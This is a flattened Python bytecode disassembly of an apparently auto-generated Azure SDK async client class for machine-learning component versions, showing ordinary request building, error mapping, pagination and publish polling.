LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'config' CALL_METHOD LOAD_FAST self STORE_ATTR _config LOAD_FAST input_args POP_JUMP_IF_FALSE LOAD_FAST input_args LOAD_METHOD pop LOAD_CONST 0 CALL_METHOD JUMP_FORWARD to 82 LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'serializer' CALL_METHOD LOAD_FAST self STORE_ATTR _serialize LOAD_FAST input_args POP_JUMP_IF_FALSE LOAD_FAST input_args LOAD_METHOD pop LOAD_CONST 0 CALL_METHOD JUMP_FORWARD to 108 LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'deserializer' CALL_METHOD LOAD_FAST self STORE_ATTR _deserialize LOAD_CONST None RETURN_VALUE LOAD_DEREF kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP STORE_DEREF _headers LOAD_GLOBAL case_insensitive_dict LOAD_DEREF kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_DEREF _params LOAD_DEREF kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_DEREF _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_DEREF self LOAD_ATTR _config LOAD_ATTR api_version CALL_METHOD CALL_METHOD STORE_DEREF api_version LOAD_DEREF kwargs LOAD_METHOD pop LOAD_CONST 'cls' LOAD_CONST None CALL_METHOD STORE_DEREF cls LOAD_GLOBAL ClientAuthenticationError LOAD_GLOBAL ResourceNotFoundError LOAD_GLOBAL ResourceExistsError LOAD_GLOBAL ResourceNotModifiedError LOAD_CONST (401, 404, 409, 304) BUILD_CONST_KEY_MAP STORE_DEREF error_map LOAD_DEREF error_map LOAD_METHOD update LOAD_DEREF kwargs LOAD_METHOD pop LOAD_CONST 'error_map' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_METHOD POP_TOP LOAD_CONST (None,) LOAD_CLOSURE _headers LOAD_CLOSURE _params LOAD_CLOSURE api_version LOAD_CLOSURE list_view_type LOAD_CLOSURE name LOAD_CLOSURE order_by LOAD_CLOSURE resource_group_name LOAD_CLOSURE self LOAD_CLOSURE skip LOAD_CLOSURE top LOAD_CLOSURE workspace_name BUILD_TUPLE LOAD_CONST <code object prepare_request at 0x7f8ab77c3b70, file "f.py", line 128> LOAD_CONST 'ComponentVersionsOperations.list.<locals>.prepare_request' MAKE_FUNCTION STORE_DEREF prepare_request LOAD_CLOSURE cls LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object extract_data at 0x7f8aefbbb270, file "f.py", line 168> LOAD_CONST 'ComponentVersionsOperations.list.<locals>.extract_data' MAKE_FUNCTION STORE_FAST extract_data LOAD_CONST (None,) LOAD_CLOSURE error_map LOAD_CLOSURE kwargs LOAD_CLOSURE prepare_request LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object get_next at 0x7f8ab68a5930, file "f.py", line 177> LOAD_CONST 'ComponentVersionsOperations.list.<locals>.get_next' MAKE_FUNCTION STORE_FAST get_next LOAD_GLOBAL AsyncItemPaged LOAD_FAST get_next LOAD_FAST extract_data CALL_FUNCTION RETURN_VALUE LOAD_FAST next_link POP_JUMP_IF_TRUE LOAD_GLOBAL build_list_request LOAD_DEREF resource_group_name LOAD_DEREF workspace_name LOAD_DEREF name LOAD_DEREF self LOAD_ATTR _config LOAD_ATTR subscription_id LOAD_DEREF order_by LOAD_DEREF top LOAD_DEREF skip LOAD_DEREF list_view_type LOAD_DEREF api_version LOAD_DEREF self LOAD_ATTR list LOAD_ATTR metadata LOAD_CONST 'url' BINARY_SUBSCR LOAD_DEREF _headers LOAD_DEREF _params LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'subscription_id', 'order_by', 'top', 'skip', 'list_view_type', 'api_version', 'template_url', 'headers', 'params') CALL_FUNCTION STORE_FAST request LOAD_GLOBAL _convert_request LOAD_FAST request CALL_FUNCTION STORE_FAST request LOAD_DEREF self LOAD_ATTR _client LOAD_METHOD format_url LOAD_FAST request LOAD_ATTR url CALL_METHOD LOAD_FAST request STORE_ATTR url JUMP_FORWARD to 186 LOAD_GLOBAL urllib LOAD_ATTR parse LOAD_METHOD urlparse LOAD_FAST next_link CALL_METHOD STORE_FAST _parsed_next_link LOAD_GLOBAL case_insensitive_dict LOAD_CONST <code object <dictcomp> at 0x7f8ab77c3930, file "f.py", line 150> LOAD_CONST 'ComponentVersionsOperations.list.<locals>.prepare_request.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_GLOBAL urllib LOAD_ATTR parse LOAD_METHOD parse_qs LOAD_FAST _parsed_next_link LOAD_ATTR query CALL_METHOD LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST _next_request_params LOAD_DEREF self LOAD_ATTR _config LOAD_ATTR api_version LOAD_FAST _next_request_params LOAD_CONST 'api-version' STORE_SUBSCR LOAD_GLOBAL HttpRequest LOAD_CONST 'GET' LOAD_GLOBAL urllib LOAD_ATTR parse LOAD_METHOD urljoin LOAD_FAST next_link LOAD_FAST _parsed_next_link LOAD_ATTR path CALL_METHOD LOAD_FAST _next_request_params LOAD_CONST ('params',) CALL_FUNCTION STORE_FAST request LOAD_GLOBAL _convert_request LOAD_FAST request CALL_FUNCTION STORE_FAST request LOAD_DEREF self LOAD_ATTR _client LOAD_METHOD format_url LOAD_FAST request LOAD_ATTR url CALL_METHOD LOAD_FAST request STORE_ATTR url LOAD_CONST 'GET' LOAD_FAST request STORE_ATTR method LOAD_FAST request RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 30 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_CONST <code object <listcomp> at 0x7f8ab77c3c00, file "f.py", line 151> LOAD_CONST 'ComponentVersionsOperations.list.<locals>.prepare_request.<locals>.<dictcomp>.<listcomp>' MAKE_FUNCTION LOAD_FAST value GET_ITER CALL_FUNCTION LOAD_FAST key MAP_ADD JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST v LOAD_GLOBAL urllib LOAD_ATTR parse LOAD_METHOD quote LOAD_FAST v CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_DEREF self LOAD_METHOD _deserialize LOAD_CONST 'ComponentVersionResourceArmPaginatedResult' LOAD_FAST pipeline_response CALL_METHOD STORE_FAST deserialized LOAD_FAST deserialized LOAD_ATTR value STORE_FAST list_of_elem LOAD_DEREF cls POP_JUMP_IF_FALSE LOAD_DEREF cls LOAD_FAST list_of_elem CALL_FUNCTION STORE_FAST list_of_elem LOAD_FAST deserialized LOAD_ATTR next_link JUMP_IF_TRUE_OR_POP LOAD_CONST None LOAD_GLOBAL AsyncList LOAD_FAST list_of_elem CALL_FUNCTION BUILD_TUPLE RETURN_VALUE LOAD_DEREF prepare_request LOAD_FAST next_link CALL_FUNCTION STORE_FAST request LOAD_CONST False STORE_FAST _stream LOAD_DEREF self LOAD_ATTR _client LOAD_ATTR _pipeline LOAD_ATTR run LOAD_FAST request BUILD_TUPLE LOAD_CONST 'stream' LOAD_FAST _stream BUILD_MAP LOAD_DEREF kwargs BUILD_MAP CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST pipeline_response LOAD_FAST pipeline_response LOAD_ATTR http_response STORE_FAST response LOAD_FAST response LOAD_ATTR status_code LOAD_CONST (200,) COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL map_error LOAD_FAST response LOAD_ATTR status_code LOAD_FAST response LOAD_DEREF error_map LOAD_CONST ('status_code', 'response', 'error_map') CALL_FUNCTION POP_TOP LOAD_DEREF self LOAD_ATTR _deserialize LOAD_METHOD failsafe_deserialize LOAD_GLOBAL _models LOAD_ATTR ErrorResponse LOAD_FAST pipeline_response CALL_METHOD STORE_FAST error LOAD_GLOBAL HttpResponseError LOAD_FAST response LOAD_FAST error LOAD_GLOBAL ARMErrorFormat LOAD_CONST ('response', 'model', 'error_format') CALL_FUNCTION RAISE_VARARGS LOAD_FAST pipeline_response RETURN_VALUE LOAD_GLOBAL ClientAuthenticationError LOAD_GLOBAL ResourceNotFoundError LOAD_GLOBAL ResourceExistsError LOAD_GLOBAL ResourceNotModifiedError LOAD_CONST (401, 404, 409, 304) BUILD_CONST_KEY_MAP STORE_FAST error_map LOAD_FAST error_map LOAD_METHOD update LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'error_map' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_METHOD POP_TOP LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_FAST self LOAD_ATTR _config LOAD_ATTR api_version CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'cls' LOAD_CONST None CALL_METHOD STORE_FAST cls LOAD_GLOBAL build_delete_request LOAD_FAST resource_group_name LOAD_FAST workspace_name LOAD_FAST name LOAD_FAST version LOAD_FAST self LOAD_ATTR _config LOAD_ATTR subscription_id LOAD_FAST api_version LOAD_FAST self LOAD_ATTR delete LOAD_ATTR metadata LOAD_CONST 'url' BINARY_SUBSCR LOAD_FAST _headers LOAD_FAST _params LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'subscription_id', 'api_version', 'template_url', 'headers', 'params') CALL_FUNCTION STORE_FAST request LOAD_GLOBAL _convert_request LOAD_FAST request CALL_FUNCTION STORE_FAST request LOAD_FAST self LOAD_ATTR _client LOAD_METHOD format_url LOAD_FAST request LOAD_ATTR url CALL_METHOD LOAD_FAST request STORE_ATTR url LOAD_CONST False STORE_FAST _stream LOAD_FAST self LOAD_ATTR _client LOAD_ATTR _pipeline LOAD_ATTR run LOAD_FAST request BUILD_TUPLE LOAD_CONST 'stream' LOAD_FAST _stream BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST pipeline_response LOAD_FAST pipeline_response LOAD_ATTR http_response STORE_FAST response LOAD_FAST response LOAD_ATTR status_code LOAD_CONST (200, 204) COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL map_error LOAD_FAST response LOAD_ATTR status_code LOAD_FAST response LOAD_FAST error_map LOAD_CONST ('status_code', 'response', 'error_map') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _deserialize LOAD_METHOD failsafe_deserialize LOAD_GLOBAL _models LOAD_ATTR ErrorResponse LOAD_FAST pipeline_response CALL_METHOD STORE_FAST error LOAD_GLOBAL HttpResponseError LOAD_FAST response LOAD_FAST error LOAD_GLOBAL ARMErrorFormat LOAD_CONST ('response', 'model', 'error_format') CALL_FUNCTION RAISE_VARARGS LOAD_FAST cls EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_FAST pipeline_response LOAD_CONST None BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ClientAuthenticationError LOAD_GLOBAL ResourceNotFoundError LOAD_GLOBAL ResourceExistsError LOAD_GLOBAL ResourceNotModifiedError LOAD_CONST (401, 404, 409, 304) BUILD_CONST_KEY_MAP STORE_FAST error_map LOAD_FAST error_map LOAD_METHOD update LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'error_map' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_METHOD POP_TOP LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_FAST self LOAD_ATTR _config LOAD_ATTR api_version CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'cls' LOAD_CONST None CALL_METHOD STORE_FAST cls LOAD_GLOBAL build_get_request LOAD_FAST resource_group_name LOAD_FAST workspace_name LOAD_FAST name LOAD_FAST version LOAD_FAST self LOAD_ATTR _config LOAD_ATTR subscription_id LOAD_FAST api_version LOAD_FAST self LOAD_ATTR get LOAD_ATTR metadata LOAD_CONST 'url' BINARY_SUBSCR LOAD_FAST _headers LOAD_FAST _params LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'subscription_id', 'api_version', 'template_url', 'headers', 'params') CALL_FUNCTION STORE_FAST request LOAD_GLOBAL _convert_request LOAD_FAST request CALL_FUNCTION STORE_FAST request LOAD_FAST self LOAD_ATTR _client LOAD_METHOD format_url LOAD_FAST request LOAD_ATTR url CALL_METHOD LOAD_FAST request STORE_ATTR url LOAD_CONST False STORE_FAST _stream LOAD_FAST self LOAD_ATTR _client LOAD_ATTR _pipeline LOAD_ATTR run LOAD_FAST request BUILD_TUPLE LOAD_CONST 'stream' LOAD_FAST _stream BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST pipeline_response LOAD_FAST pipeline_response LOAD_ATTR http_response STORE_FAST response LOAD_FAST response LOAD_ATTR status_code LOAD_CONST (200,) COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL map_error LOAD_FAST response LOAD_ATTR status_code LOAD_FAST response LOAD_FAST error_map LOAD_CONST ('status_code', 'response', 'error_map') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _deserialize LOAD_METHOD failsafe_deserialize LOAD_GLOBAL _models LOAD_ATTR ErrorResponse LOAD_FAST pipeline_response CALL_METHOD STORE_FAST error LOAD_GLOBAL HttpResponseError LOAD_FAST response LOAD_FAST error LOAD_GLOBAL ARMErrorFormat LOAD_CONST ('response', 'model', 'error_format') CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_METHOD _deserialize LOAD_CONST 'ComponentVersion' LOAD_FAST pipeline_response CALL_METHOD STORE_FAST deserialized LOAD_FAST cls EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_FAST pipeline_response LOAD_FAST deserialized BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_FAST deserialized RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ClientAuthenticationError LOAD_GLOBAL ResourceNotFoundError LOAD_GLOBAL ResourceExistsError LOAD_GLOBAL ResourceNotModifiedError LOAD_CONST (401, 404, 409, 304) BUILD_CONST_KEY_MAP STORE_FAST error_map LOAD_FAST error_map LOAD_METHOD update LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'error_map' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_METHOD POP_TOP LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_FAST self LOAD_ATTR _config LOAD_ATTR api_version CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'content_type' LOAD_FAST _headers LOAD_METHOD pop LOAD_CONST 'Content-Type' LOAD_CONST None CALL_METHOD CALL_METHOD STORE_FAST content_type LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'cls' LOAD_CONST None CALL_METHOD STORE_FAST cls LOAD_FAST content_type JUMP_IF_TRUE_OR_POP LOAD_CONST 'application/json' STORE_FAST content_type LOAD_CONST None STORE_FAST _json LOAD_CONST None STORE_FAST _content LOAD_GLOBAL isinstance LOAD_FAST body LOAD_GLOBAL IOBase LOAD_GLOBAL bytes BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST body STORE_FAST _content JUMP_FORWARD to 182 LOAD_FAST self LOAD_ATTR _serialize LOAD_METHOD body LOAD_FAST body LOAD_CONST 'ComponentVersion' CALL_METHOD STORE_FAST _json LOAD_GLOBAL build_create_or_update_request LOAD_FAST resource_group_name LOAD_FAST workspace_name LOAD_FAST name LOAD_FAST version LOAD_FAST self LOAD_ATTR _config LOAD_ATTR subscription_id LOAD_FAST api_version LOAD_FAST content_type LOAD_FAST _json LOAD_FAST _content LOAD_FAST self LOAD_ATTR create_or_update LOAD_ATTR metadata LOAD_CONST 'url' BINARY_SUBSCR LOAD_FAST _headers LOAD_FAST _params LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'subscription_id', 'api_version', 'content_type', 'json', 'content', 'template_url', 'headers', 'params') CALL_FUNCTION STORE_FAST request LOAD_GLOBAL _convert_request LOAD_FAST request CALL_FUNCTION STORE_FAST request LOAD_FAST self LOAD_ATTR _client LOAD_METHOD format_url LOAD_FAST request LOAD_ATTR url CALL_METHOD LOAD_FAST request STORE_ATTR url LOAD_CONST False STORE_FAST _stream LOAD_FAST self LOAD_ATTR _client LOAD_ATTR _pipeline LOAD_ATTR run LOAD_FAST request BUILD_TUPLE LOAD_CONST 'stream' LOAD_FAST _stream BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST pipeline_response LOAD_FAST pipeline_response LOAD_ATTR http_response STORE_FAST response LOAD_FAST response LOAD_ATTR status_code LOAD_CONST (200, 201) COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL map_error LOAD_FAST response LOAD_ATTR status_code LOAD_FAST response LOAD_FAST error_map LOAD_CONST ('status_code', 'response', 'error_map') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _deserialize LOAD_METHOD failsafe_deserialize LOAD_GLOBAL _models LOAD_ATTR ErrorResponse LOAD_FAST pipeline_response CALL_METHOD STORE_FAST error LOAD_GLOBAL HttpResponseError LOAD_FAST response LOAD_FAST error LOAD_GLOBAL ARMErrorFormat LOAD_CONST ('response', 'model', 'error_format') CALL_FUNCTION RAISE_VARARGS LOAD_FAST response LOAD_ATTR status_code LOAD_CONST 200 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _deserialize LOAD_CONST 'ComponentVersion' LOAD_FAST pipeline_response CALL_METHOD STORE_FAST deserialized LOAD_FAST response LOAD_ATTR status_code LOAD_CONST 201 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _deserialize LOAD_CONST 'ComponentVersion' LOAD_FAST pipeline_response CALL_METHOD STORE_FAST deserialized LOAD_FAST cls EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_FAST pipeline_response LOAD_FAST deserialized BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_FAST deserialized RETURN_VALUE LOAD_GLOBAL ClientAuthenticationError LOAD_GLOBAL ResourceNotFoundError LOAD_GLOBAL ResourceExistsError LOAD_GLOBAL ResourceNotModifiedError LOAD_CONST (401, 404, 409, 304) BUILD_CONST_KEY_MAP STORE_FAST error_map LOAD_FAST error_map LOAD_METHOD update LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'error_map' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_METHOD POP_TOP LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_FAST self LOAD_ATTR _config LOAD_ATTR api_version CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'content_type' LOAD_FAST _headers LOAD_METHOD pop LOAD_CONST 'Content-Type' LOAD_CONST None CALL_METHOD CALL_METHOD STORE_FAST content_type LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'cls' LOAD_CONST None CALL_METHOD STORE_FAST cls LOAD_FAST content_type JUMP_IF_TRUE_OR_POP LOAD_CONST 'application/json' STORE_FAST content_type LOAD_CONST None STORE_FAST _json LOAD_CONST None STORE_FAST _content LOAD_GLOBAL isinstance LOAD_FAST body LOAD_GLOBAL IOBase LOAD_GLOBAL bytes BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST body STORE_FAST _content JUMP_FORWARD to 182 LOAD_FAST self LOAD_ATTR _serialize LOAD_METHOD body LOAD_FAST body LOAD_CONST 'DestinationAsset' CALL_METHOD STORE_FAST _json LOAD_GLOBAL build_publish_request LOAD_FAST resource_group_name LOAD_FAST workspace_name LOAD_FAST name LOAD_FAST version LOAD_FAST self LOAD_ATTR _config LOAD_ATTR subscription_id LOAD_FAST api_version LOAD_FAST content_type LOAD_FAST _json LOAD_FAST _content LOAD_FAST self LOAD_ATTR _publish_initial LOAD_ATTR metadata LOAD_CONST 'url' BINARY_SUBSCR LOAD_FAST _headers LOAD_FAST _params LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'subscription_id', 'api_version', 'content_type', 'json', 'content', 'template_url', 'headers', 'params') CALL_FUNCTION STORE_FAST request LOAD_GLOBAL _convert_request LOAD_FAST request CALL_FUNCTION STORE_FAST request LOAD_FAST self LOAD_ATTR _client LOAD_METHOD format_url LOAD_FAST request LOAD_ATTR url CALL_METHOD LOAD_FAST request STORE_ATTR url LOAD_CONST False STORE_FAST _stream LOAD_FAST self LOAD_ATTR _client LOAD_ATTR _pipeline LOAD_ATTR run LOAD_FAST request BUILD_TUPLE LOAD_CONST 'stream' LOAD_FAST _stream BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST pipeline_response LOAD_FAST pipeline_response LOAD_ATTR http_response STORE_FAST response LOAD_FAST response LOAD_ATTR status_code LOAD_CONST (200, 202) COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL map_error LOAD_FAST response LOAD_ATTR status_code LOAD_FAST response LOAD_FAST error_map LOAD_CONST ('status_code', 'response', 'error_map') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _deserialize LOAD_METHOD failsafe_deserialize LOAD_GLOBAL _models LOAD_ATTR ErrorResponse LOAD_FAST pipeline_response CALL_METHOD STORE_FAST error LOAD_GLOBAL HttpResponseError LOAD_FAST response LOAD_FAST error LOAD_GLOBAL ARMErrorFormat LOAD_CONST ('response', 'model', 'error_format') CALL_FUNCTION RAISE_VARARGS BUILD_MAP STORE_FAST response_headers LOAD_FAST response LOAD_ATTR status_code LOAD_CONST 202 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _deserialize LOAD_CONST 'str' LOAD_FAST response LOAD_ATTR headers LOAD_METHOD get LOAD_CONST 'Location' CALL_METHOD CALL_METHOD LOAD_FAST response_headers LOAD_CONST 'Location' STORE_SUBSCR LOAD_FAST self LOAD_METHOD _deserialize LOAD_CONST 'int' LOAD_FAST response LOAD_ATTR headers LOAD_METHOD get LOAD_CONST 'Retry-After' CALL_METHOD CALL_METHOD LOAD_FAST response_headers LOAD_CONST 'Retry-After' STORE_SUBSCR LOAD_FAST cls EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_FAST pipeline_response LOAD_CONST None LOAD_FAST response_headers CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'headers' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _headers LOAD_GLOBAL case_insensitive_dict LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'params' BUILD_MAP CALL_METHOD JUMP_IF_TRUE_OR_POP BUILD_MAP CALL_FUNCTION STORE_FAST _params LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'api_version' LOAD_FAST _params LOAD_METHOD pop LOAD_CONST 'api-version' LOAD_FAST self LOAD_ATTR _config LOAD_ATTR api_version CALL_METHOD CALL_METHOD STORE_FAST api_version LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'content_type' LOAD_FAST _headers LOAD_METHOD pop LOAD_CONST 'Content-Type' LOAD_CONST None CALL_METHOD CALL_METHOD STORE_FAST content_type LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'cls' LOAD_CONST None CALL_METHOD STORE_DEREF cls LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'polling' LOAD_CONST True CALL_METHOD STORE_FAST polling LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'polling_interval' LOAD_FAST self LOAD_ATTR _config LOAD_ATTR polling_interval CALL_METHOD STORE_FAST lro_delay LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'continuation_token' LOAD_CONST None CALL_METHOD STORE_FAST cont_token LOAD_FAST cont_token LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _publish_initial BUILD_TUPLE LOAD_FAST resource_group_name LOAD_FAST workspace_name LOAD_FAST name LOAD_FAST version LOAD_FAST body LOAD_FAST api_version LOAD_FAST content_type LOAD_CONST <code object <lambda> at 0x7f8aa43cbe40, file "f.py", line 804> LOAD_CONST 'ComponentVersionsOperations.begin_publish.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST _headers LOAD_FAST _params LOAD_CONST ('resource_group_name', 'workspace_name', 'name', 'version', 'body', 'api_version', 'content_type', 'cls', 'headers', 'params') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST raw_result LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'error_map' LOAD_CONST None CALL_METHOD POP_TOP LOAD_CLOSURE cls BUILD_TUPLE LOAD_CONST <code object get_long_running_output at 0x7f8aa43cb780, file "f.py", line 811> LOAD_CONST 'ComponentVersionsOperations.begin_publish.<locals>.get_long_running_output' MAKE_FUNCTION STORE_FAST get_long_running_output LOAD_FAST polling LOAD_CONST True COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL cast LOAD_GLOBAL AsyncPollingMethod LOAD_GLOBAL AsyncARMPolling LOAD_FAST lro_delay BUILD_TUPLE LOAD_CONST 'lro_options' LOAD_CONST 'final-state-via' LOAD_CONST 'location' BUILD_MAP BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION CALL_FUNCTION STORE_FAST polling_method JUMP_FORWARD to 286 LOAD_FAST polling LOAD_CONST False COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL cast LOAD_GLOBAL AsyncPollingMethod LOAD_GLOBAL AsyncNoPolling CALL_FUNCTION CALL_FUNCTION STORE_FAST polling_method JUMP_FORWARD to 286 LOAD_FAST polling STORE_FAST polling_method LOAD_FAST cont_token EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL AsyncLROPoller LOAD_ATTR from_continuation_token LOAD_FAST polling_method LOAD_FAST cont_token LOAD_FAST self LOAD_ATTR _client LOAD_FAST get_long_running_output LOAD_CONST ('polling_method', 'continuation_token', 'client', 'deserialization_callback') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL AsyncLROPoller LOAD_FAST self LOAD_ATTR _client LOAD_FAST raw_result LOAD_FAST get_long_running_output LOAD_FAST polling_method CALL_FUNCTION RETURN_VALUE LOAD_FAST x RETURN_VALUE LOAD_DEREF cls POP_JUMP_IF_FALSE LOAD_DEREF cls LOAD_FAST pipeline_response LOAD_CONST None BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE
